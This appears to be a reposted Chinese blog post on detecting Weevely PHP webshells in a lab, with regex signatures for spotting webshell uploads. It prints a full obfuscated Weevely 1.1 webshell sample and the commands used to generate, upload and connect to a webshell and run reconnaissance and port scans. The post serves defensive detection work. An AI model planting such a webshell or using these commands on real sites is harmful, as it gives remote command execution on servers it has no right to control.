入侵检测——weevely

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 入侵检测——weevely,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

介绍

Weevely工具Python语言编写,集生成木马与加连接于一身,相当于Linux中的中国菜刀,但只适用于php网站,已经加入Kali豪华大礼包中。在Kali1.0中集成的低版本V1.1更是功能强大,支持图片与.htaccess两种绕过方式。新版本中将这两种功能阉割掉了,但是生成的木马文件仍然进行了加密处理。

在实操过程中发现,使用weevely生成的webshell,webshell存在一定特征,可以编写规则进行检测,即:可以检测webshell上传。但是webshell建立连接时是没有流量产生的,不能写规则;并且建立连接之后执行的命令,特征太弱,不能写规则。综上所述,目前只能编写上传webshell的规则。

使用环境

kali2021.2自带的weevely是4.0.1版本,IP地址:192.168.239.141
靶机环境是dvwa,靶机IP地址:192.168.239.131

生成webshell

weevely generate 密码 路径 文件名

在这里插入图片描述

上传webshell

在这里插入图片描述

在流量包中可以看到webshell内容
在这里插入图片描述

连接webshell

weevely shell文件地址 密码
  1. 访问webshell地址,发现是空白页面,很好

在这里插入图片描述

  1. 连接webshell

在这里插入图片描述

由此,建立webshell连接的过程不能编写规则,进行拦截。

命令执行

输入用来进行信息探测的命令:system_info
在这里插入图片描述

整个过程中会产生多个数据流,以前两个为例,看似请求体和响应体存在一些特征。
在这里插入图片描述
在这里插入图片描述

那么,现在重新生成一个新的webshell,并进行命令执行,拿前两个数据流为例进行分析如下
在这里插入图片描述

在这里插入图片描述

可以发现,不同密码的webshell,只有响应体存在一点共同之处。但是,不足以编写规则。在Weevely Webshell入侵检测之小试牛刀中,作者说可以在响应体的基础上,通过长度限制,来进行辅助检测,这个就有点扯淡了。不是他说的不对,而是不完全对,有的命令在执行的时候,确实如此,有的命令执行的时候却并非如此。甚至相同的命令ipconfig,我昨天测试的时候可以抓到符合作者描述的包,今天测试的时候就抓不到符合描述的包了。

再如,使用net_scan 192.168.239.131 1-100命令进行端口扫描,就根本没有符合作者长度限制的数据包。
因此不足以编写规则。

编写规则

通过上面的分析,唯一可以确认的是,可以对上传webshell的过程进行拦截。然而,不同版本的 Weevely 产生的webshell特征是不同的。

4.0.1版本

通过大量的webshell测试发现,下面红框中的内容是固定格式
如下图,第1个红框中的内容可以作为辅助特征,第二个红框中的内容作为主要特征
在这里插入图片描述

  1. 匹配辅助特征\x3c\x3fphp[\s\n]\x24\w\x3d

在这里插入图片描述

  1. 匹配主要特征

\x24\w\x3dstr_replace\x28\x27.{1,20}\x27\x2c\x27\x27\x2c(\x24\w\x2e)+\x24\w.?\x24\w=\x24\w\x28\x27\x27\x2c\x24\w\x29\x3b\x24\w\x28\x29\x3b.?\x3f\x3e
在这里插入图片描述

1.1版本

内容如下
通过多个shell对比发现:

  1. 第1~2行可以作为弱特征规则化
  2. 第2行的一串base64编码内容,有的是以等号结尾,有的不是,不能作为特征
  3. 第3~5行,特征一般,由于前5行的顺序是随机的,所以不好使用正则进行规则化。
  4. 第6行出现了str_replace,可以作为弱特征。
  5. 第7~10行,格式基本固定,只是参数每次都不一样,可以规则化
<?php
$hhhj="pbihhcxfnJheV9zbGljZSxfgkxfYSwkYygkYSxfktxfMykpKSkxfpO2VjaG8gJzwvJy4kay4nPxfic7fQ==";
$opqh="ZWdfcmVwbGFjZShhcnJheSgnLxf1teXHxfcxf9XHNdLxfycsJy9ccy8nKSwgYXJyYXkoJyxfcsJysnKSwgam9";
$vtbk="JGM9xfJ2NvdW50JzxfskYT0kXxf0NPT0xftJRTtpZixfhxfyZXNldCgkYSk9PScxMScgJiYgxfJGMoJGEpPjMp";
$mzby="eyRrxfPScxMxfTExJztlxfY2hvICc8Jy4kay4xfnPic7ZXZhbChxfiYXNlxfNjRxffZGVjb2RlKHBy";
$gkpi = str_replace("u","","usturu_uruepuluace");
$emin = $gkpi("q", "", "qbqaqsqeq6q4_dqeqcoqdqe");
$zrrs = $gkpi("m","","mcmrmemamtme_mfmunmcmtiomn");
$fbkq = $zrrs('', $emin($gkpi("xf", "", $vtbk.$mzby.$opqh.$hhhj))); $fbkq();
?>

第1个弱特征\x3c\x3fphp[\s\n]\x24\w+\x3d
在这里插入图片描述

第2个弱特征
\x24\w{4}\s+\x3d\s+str_replace\x28\x22\w\x22\x2c\x22+\x2c\x22[a-z]+\x5f[a-z]+\x22\x29\x3b
在这里插入图片描述

第3个主特征
(\x24\w{4}\s+\x3d\s+\x24\w{4}\x28\x22\w+\x22\x2c\s*\x22\x22\x2c\s*\x22\w+\x22\x29\x3b[\s\n])+\x24\w{4}\s+\x3d\s+\x24\w{4}\x28\x27+\x2c\s+\x24\w{4}\x28\x24\w{4}\x28\x22\w+\x22\x2c\s+\x22+\x2c\s+(\x24\w{4}\x2e){3}\x24\w{4}\x29+\x3b\s+\x24\w{4}\x28\x29\x3b
在这里插入图片描述

规则

把上面的特征进行整合即可的得出规则,规则略
测试结果没问题
在这里插入图片描述

参考

Kali-Weevely工具使用详解
weevely(php菜刀)基本使用
Weevely Webshell入侵检测之小试牛刀

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134304.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!